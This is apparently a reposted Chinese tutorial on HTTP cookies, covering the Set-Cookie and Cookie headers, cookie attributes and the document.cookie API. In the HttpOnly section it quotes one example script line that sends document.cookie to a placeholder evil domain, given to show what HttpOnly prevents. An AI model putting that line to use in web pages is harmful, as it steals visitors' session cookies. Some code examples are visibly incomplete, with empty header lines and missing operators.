摘要:追蹤記錄和分析用戶行為。屬性返回一個布爾值,表示瀏覽器是否打開功能不同瀏覽器對數量和大小的限制,是不一樣的。請求的發送瀏覽器向服務器發送請求時,每個請求都會帶上相應的。屬性必須為絕對路徑,默認為當前路徑。屬性值必須是當前發送的域名的一部分。
概述
Cookie 與 HTTP 協議
HTTP 回應:Cookie 的生成
HTTP 請求:Cookie 的發送
Cookie 的屬性
Expires,Max-Age
Domain,Path
Secure,HttpOnly
document.cookie
1.Cookie 主要用來分辨兩個請求是否來自同一個瀏覽器,以及用來保存一些狀態信息
常用場合有以下一些。
對話(session)管理:保存登錄、購物車等需要記錄的信息。
個性化:保存用戶的偏好,比如網頁的字體大小、背景色等等。
追蹤:記錄和分析用戶行為。
2.Cookie 是服務器保存在瀏覽器的一小段文本信息,每個 Cookie 的大小一般不能超過4KB。瀏覽器每次向服務器發出請求,就會自動附上這段信息(不同源的不附上)
3.用作客戶端存儲的缺點是 容量小,缺乏數據操作借口。客戶端儲存應該使用 Web storage API 和 IndexedDB。
4.Cookie 包含以下幾方面的信息。
Cookie 的名字
Cookie 的值(真正的數據寫在這里面)
到期時間
所屬域名(默認是當前域名)
生效的路徑(默認是當前網址)
舉例來說,用戶訪問網址www.example.com,服務器在瀏覽器寫入一個 Cookie。這個 Cookie 就會包含www.example.com這個域名,以及根路徑/。這意味著,這個 Cookie 對該域名的根路徑和它的所有子路徑都有效。如果路徑設為/forums,那么這個 Cookie 只有在訪問www.example.com/forums及其子路徑時才有效。以后,瀏覽器一旦訪問這個路徑,瀏覽器就會附上這段 Cookie 發送給服務器
瀏覽器可以設置不接受 Cookie,也可以設置不向服務器發送 Cookie。window.navigator.cookieEnabled屬性返回一個布爾值,表示瀏覽器是否打開 Cookie 功能
不同瀏覽器對 Cookie 數量和大小的限制,是不一樣的。一般來說,單個域名設置的 Cookie 不應超過30個,每個 Cookie 的大小不能超過4KB。超過限制以后,Cookie 將被忽略,不會被設置
瀏覽器的同源政策規定,兩個網址只要域名相同和端口相同,就可以共享 Cookie(參見《同源政策》一章)。注意,這里不要求協議相同。也就是說,http://example.com設置的 Cookie,可以被https://example.com讀取。比如父子窗口之間
Cookie 與 HTTP 協議 HTTP 回應:Cookie 的生成 一個個set 多個同時發送服務器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應的頭信息里面,放置一個Set-Cookie字段。
Set-Cookie:foo=bar
上面代碼會在瀏覽器保存一個名為foo的 Cookie,它的值為bar。
HTTP 回應可以包含多個Set-Cookie字段,即在瀏覽器生成多個 Cookie。下面是一個例子。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
除了 Cookie 的值,Set-Cookie字段還可以附加 Cookie 的屬性。
Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:
改變一個早先設置的 Cookie,必須同時滿足四個條件:Cookie 的key、domain、path和secure都匹配。舉例來說,如果原始的 Cookie 是用如下的Set-Cookie設置的
瀏覽器將向服務器發送兩個同名的 Cookie。
Cookie: key1=value1; key1=value2
上面代碼的兩個 Cookie 是同名的,匹配越精確的 Cookie 排在越前面
Cookie字段可以包含多個 Cookie,使用分號(;)分隔
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服務器收到瀏覽器發來的 Cookie 時,有兩點是無法知道的。
Cookie 的各種屬性,比如何時過期。
哪個域名設置的 Cookie,到底是一級域名設的,還是某一個二級域名設的。
瀏覽器向服務器發送 HTTP 請求時,每個請求都會帶上相應的 Cookie。也就是說,把服務器早前保存在瀏覽器的這段信息,再發回服務器。這時要使用 HTTP 頭信息的Cookie字段。
Cookie 的屬性 Expires,Max-AgeExpires,Max-Age
Expires屬性指定一個具體的到期時間,到了指定時間以后,瀏覽器就不再保留這個 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()進行格式轉換。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果不設置該屬性,或者設為null,Cookie 只在當前會話(session)有效,瀏覽器窗口一旦關閉,當前 Session 結束,該 Cookie 就會被刪除
Max-Age屬性指定從現在開始 Cookie 存在的秒數,比如60 60 24 * 365(即一年)。過了這個時間以后,瀏覽器就不再保留這個 Cookie。
如果同時指定了Expires和Max-Age,那么Max-Age的值將優先生效。
Domain,PathDomain屬性指定瀏覽器發出 HTTP 請求時,哪些域名要附帶這個 Cookie
如果沒有指定該屬性,瀏覽器會默認將其設為當前域名,這時子域名將不會附帶這個 Cookie。
比如,example.com不設置 Cookie 的domain屬性,那么sub.example.com將不會附帶這個 Cookie。
如果指定了domain屬性,那么子域名也會附帶這個 Cookie。
如果服務器指定的域名不屬于當前域名,瀏覽器會拒絕這個 Cookie。
Path屬性指定瀏覽器發出 HTTP 請求時,哪些路徑要附帶這個 Cookie。只要瀏覽器發現,Path屬性是 HTTP 請求路徑的開頭一部分,就會在頭信息里面帶上這個 Cookie。比如,PATH屬性是/,那么請求/docs路徑也會包含該 Cookie。當然,前提是域名必須一致。
Secure,HttpOnly只在https發送
HttpOnly屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是document.cookie屬性、XMLHttpRequest對象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站點載入的一個惡意腳本的代碼,能夠將當前網頁的 Cookie 發往第三方服務器。如果設置了一個 Cookie 的HttpOnly屬性,上面代碼就不會讀到該 Cookie。
document.cookie屬性用于讀寫當前網頁的 Cookie。
讀取的時候,它會返回當前網頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly屬性。
document.cookie屬性是可寫的,可以通過它為當前網站添加 Cookie。
document.cookie = "fontSize=14";
但是,document.cookie一次只能寫入一個 Cookie,而且寫入并不是覆蓋,而是添加。
document.cookie = "test1=hello";
document.cookie = "test2=world";
document.cookie
// test1=hello;test2=world
document.cookie讀寫行為的差異(一次可以讀出全部 Cookie,但是只能寫入一個 Cookie),與 HTTP 協議的 Cookie 通信格式有關。瀏覽器向服務器發送 Cookie 的時候,Cookie字段是使用一行將所有 Cookie 全部發送;服務器向瀏覽器設置 Cookie 的時候,Set-Cookie字段是一行設置一個 Cookie。
各個屬性的寫入注意點如下。
path屬性必須為絕對路徑,默認為當前路徑。
domain屬性值必須是當前發送 Cookie 的域名的一部分。比如,當前域名是example.com,就不能將其設為foo.com。該屬性默認為當前的一級域名(不含二級域名)。
max-age屬性的值為秒數。
expires屬性的值為 UTC 格式,可以使用Date.prototype.toUTCString()進行日期格式轉換。
document.cookie寫入 Cookie 的例子如下。
document.cookie = "fontSize=14; "
"expires=" + someDate.toGMTString() + "; "
"path=/subdirectory; "
"domain=*.example.com";
Cookie 的屬性一旦設置完成,就沒有辦法讀取這些屬性的值。
刪除一個現存 Cookie 的唯一方法,是設置它的expires屬性為一個過去的日期。
document.cookie = "fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT";
上面代碼中,名為fontSize的 Cookie 的值為空,過期時間設為1970年1月1月零點,就等同于刪除了這個 Cookie
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/106111.html
閱讀 3461·2023-04-25 19:39
閱讀 3814·2021-11-18 13:12
閱讀 3641·2021-09-22 15:45
閱讀 2439·2021-09-22 15:32
閱讀 724·2021-09-04 16:40
閱讀 3734·2019-08-30 14:11
閱讀 1892·2019-08-30 13:46
閱讀 1569·2019-08-29 15:43